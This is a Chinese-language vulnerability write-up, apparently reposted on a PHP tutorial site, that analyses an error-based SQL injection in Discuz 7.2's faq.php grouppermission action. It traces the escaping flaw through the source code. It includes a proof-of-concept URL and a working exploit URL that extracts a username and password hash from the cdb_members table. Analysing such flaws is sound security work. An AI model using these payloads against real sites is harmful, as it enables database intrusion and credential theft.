网站地图    收藏   

主页 > 后端 > 网站安全 >

Discuz7.2 faq.php sqli分析(吐槽) - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] 影响范围是discuz7 2这样的老版本(小伙伴说7 x),其实使用量并不是特别大,但是不知道为什么感觉好多人都高潮了,各种人拿着工具无脑刷,意义不明。下了源码来简单分析了一下,...

影响范围是discuz7.2这样的老版本(小伙伴说7.x),其实使用量并不是特别大,但是不知道为什么感觉好多人都高潮了,各种人拿着工具无脑刷,意义不明。

下了源码来简单分析了一下,如下:

POC:

http://127.0.0.1/dz_7/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23

 

1

直接在faq.php文件里找到grouppermission

elseif($action == 'grouppermission') { require_once './include/forum.func.php';
require_once language('misc');
$permlang = $language; unset($language);
......
......
......
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();



 

 看到poc图中的报错应该就是这一段儿了  

代码中定义了一个groupids的数组,接着遍历了$gids,也就是poc中的gids[]可以看出它也是一个数组

然后$groupids[] = $row[0];将数组的第一个值放入groupids中,这个操作就造成了注入

因为在dz中,GET的数组都会被全局进行addslashes转义,把一些预定字符前加\,这本来没事,但是奇葩的是

$groupids[] = $row[0];

这个赋值,只取第一个字符,也就罢转义字符取出了=。=

看看sql语句的处理,程序使用implodeids处理了$groupids

然后我们来看看他定义的implodeids

在../include/global.func.php中看到

 
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}

 

功能是把数组分隔开,变成’f’,’u’,’c’,’k’这样

但是刚才我们说过,有一个转义字符被取出了,所以在进行implodeids处理的时候,一个正常的’被转义了=。=

变成’f’,’\’,’c’,’k’

这样的话就造成后面一个单引号与被转移的前一个单引号闭合,c这里就是一个逃逸的单引号了,于是乎造成了注入,所以我们反观一下poc,把payload放到c这里,成功复现sqli

2

exp:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 

一键无脑的工具就不写了,已经有人写了各种无脑刷了,呵呵,不知道这些拿着工具的人高潮什么

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论